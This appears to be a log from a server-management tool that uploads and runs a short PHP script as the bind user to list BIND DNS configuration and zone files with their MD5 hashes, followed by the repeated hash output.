MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:10:28: Establishing a connection
2026-04-25 18:10:28: 

PUT: /tmp/pkp675955

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:10:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp675955; rm /tmp/pkp675955'

2026-04-25 18:10:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:10:30: Establishing a connection
2026-04-25 18:10:30: 

PUT: /tmp/pkp238651

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:10:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp238651; rm /tmp/pkp238651'

2026-04-25 18:10:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
